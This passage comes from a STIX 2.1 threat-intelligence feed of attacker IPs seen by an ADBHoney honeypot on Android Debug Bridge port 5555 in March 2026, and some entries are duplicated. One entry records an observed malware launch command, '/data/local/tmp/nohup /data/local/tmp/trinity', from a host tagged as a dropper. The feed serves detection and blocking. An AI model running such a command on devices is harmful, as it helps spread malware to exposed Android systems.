          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 63,
          "first_seen": "2026-03-18T12:43:13.000Z",
          "last_seen": "2026-03-18T12:55:22.831Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "9304"
          ],
          "org": [
            "HGC Global Communications Limited"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T13:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=63; ports=5555; cc=HK; asn=9304; asn_org=HGC Global Communications Limited; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=63 | first_seen=2026-03-18T12:43:13.000Z | last_seen=2026-03-18T12:55:22.831Z | ports=5555 | cc=HK | asn=9304 | org=HGC Global Communications Limited | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--a2b2e9ef-99b8-46e4-a366-1580df5984c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '113.252.213.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T13:00:04.000Z",
      "valid_until": "2026-04-19T13:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 63,
          "first_seen": "2026-03-18T12:43:13.000Z",
          "last_seen": "2026-03-18T12:55:22.831Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "9304"
          ],
          "org": [
            "HGC Global Communications Limited"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-18T14:31:07.000Z | last_seen=2026-03-18T14:41:08.451Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--2d571f8e-14d9-435f-a6d0-21be1b4c4777",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T15:00:02.000Z",
      "valid_until": "2026-04-19T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-18T14:31:07.000Z",
          "last_seen": "2026-03-18T14:41:08.451Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-18T14:28:55.000Z | last_seen=2026-03-18T14:30:02.533Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--eb47e7e0-a6b0-4332-96fd-a175beba65c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T15:00:02.000Z",
      "valid_until": "2026-04-19T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-18T14:28:55.000Z",
          "last_seen": "2026-03-18T14:30:02.533Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T15:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-18T14:31:07.000Z | last_seen=2026-03-18T14:41:08.451Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--2d571f8e-14d9-435f-a6d0-21be1b4c4777",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T15:00:04.000Z",
      "valid_until": "2026-04-19T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-18T14:31:07.000Z",
          "last_seen": "2026-03-18T14:41:08.451Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T15:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-18T14:28:55.000Z | last_seen=2026-03-18T14:30:02.533Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--eb47e7e0-a6b0-4332-96fd-a175beba65c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T15:00:04.000Z",
      "valid_until": "2026-04-19T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-18T14:28:55.000Z",
          "last_seen": "2026-03-18T14:30:02.533Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-18T15:47:25.000Z | last_seen=2026-03-18T15:48:32.474Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--4bd8cee0-b6d2-408d-827b-11191f56a86c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.234.218.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T16:00:02.000Z",
      "valid_until": "2026-04-19T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-18T15:47:25.000Z",
          "last_seen": "2026-03-18T15:48:32.474Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-18T15:47:03.000Z | last_seen=2026-03-18T15:48:10.537Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--6d1bc329-6f7b-4f96-8225-32591489a83c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.79.177.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T16:00:02.000Z",
      "valid_until": "2026-04-19T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-18T15:47:03.000Z",
          "last_seen": "2026-03-18T15:48:10.537Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CA; asn=209334; asn_org=Modat B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-18T15:13:07.000Z | last_seen=2026-03-18T15:23:13.659Z | ports=5555 | cc=CA | asn=209334 | org=Modat B.V.",
      "id": "indicator--4be0ae6a-e9a4-45f2-ac26-f80b302ff962",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T16:00:02.000Z",
      "valid_until": "2026-04-19T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-18T15:13:07.000Z",
          "last_seen": "2026-03-18T15:23:13.659Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "209334"
          ],
          "org": [
            "Modat B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T16:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-18T15:47:25.000Z | last_seen=2026-03-18T15:48:32.474Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--4bd8cee0-b6d2-408d-827b-11191f56a86c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.234.218.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T16:00:06.000Z",
      "valid_until": "2026-04-19T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-18T15:47:25.000Z",
          "last_seen": "2026-03-18T15:48:32.474Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T16:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-18T15:47:03.000Z | last_seen=2026-03-18T15:48:10.537Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--6d1bc329-6f7b-4f96-8225-32591489a83c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.79.177.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T16:00:06.000Z",
      "valid_until": "2026-04-19T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-18T15:47:03.000Z",
          "last_seen": "2026-03-18T15:48:10.537Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T16:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CA; asn=209334; asn_org=Modat B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-18T15:13:07.000Z | last_seen=2026-03-18T15:23:13.659Z | ports=5555 | cc=CA | asn=209334 | org=Modat B.V.",
      "id": "indicator--4be0ae6a-e9a4-45f2-ac26-f80b302ff962",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T16:00:06.000Z",
      "valid_until": "2026-04-19T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-18T15:13:07.000Z",
          "last_seen": "2026-03-18T15:23:13.659Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "209334"
          ],
          "org": [
            "Modat B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-18T20:57:45.000Z | last_seen=2026-03-18T21:09:50.166Z | ports=5555 | cc=DE | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--73f0407e-9189-4fe7-b485-a3bcbf8999bd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.135.194.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T21:00:02.000Z",
      "valid_until": "2026-04-19T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-18T20:57:45.000Z",
          "last_seen": "2026-03-18T21:09:50.166Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-18T20:57:45.000Z | last_seen=2026-03-18T21:09:50.166Z | ports=5555 | cc=DE | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--73f0407e-9189-4fe7-b485-a3bcbf8999bd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.135.194.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T21:00:02.000Z",
      "valid_until": "2026-04-19T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-18T20:57:45.000Z",
          "last_seen": "2026-03-18T21:09:50.166Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-18T21:44:28.000Z | last_seen=2026-03-18T21:46:04.920Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--ba08513d-144e-424e-8469-1d6d723d5373",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.248.133.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T22:00:03.000Z",
      "valid_until": "2026-04-19T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-18T21:44:28.000Z",
          "last_seen": "2026-03-18T21:46:04.920Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-18T21:44:28.000Z | last_seen=2026-03-18T21:46:04.920Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--ba08513d-144e-424e-8469-1d6d723d5373",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.248.133.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T22:00:03.000Z",
      "valid_until": "2026-04-19T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-18T21:44:28.000Z",
          "last_seen": "2026-03-18T21:46:04.920Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T00:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-18T23:40:58.000Z | last_seen=2026-03-18T23:42:08.246Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--aca9cd00-e325-4d36-98b8-edde898b42f3",
      "labels": [
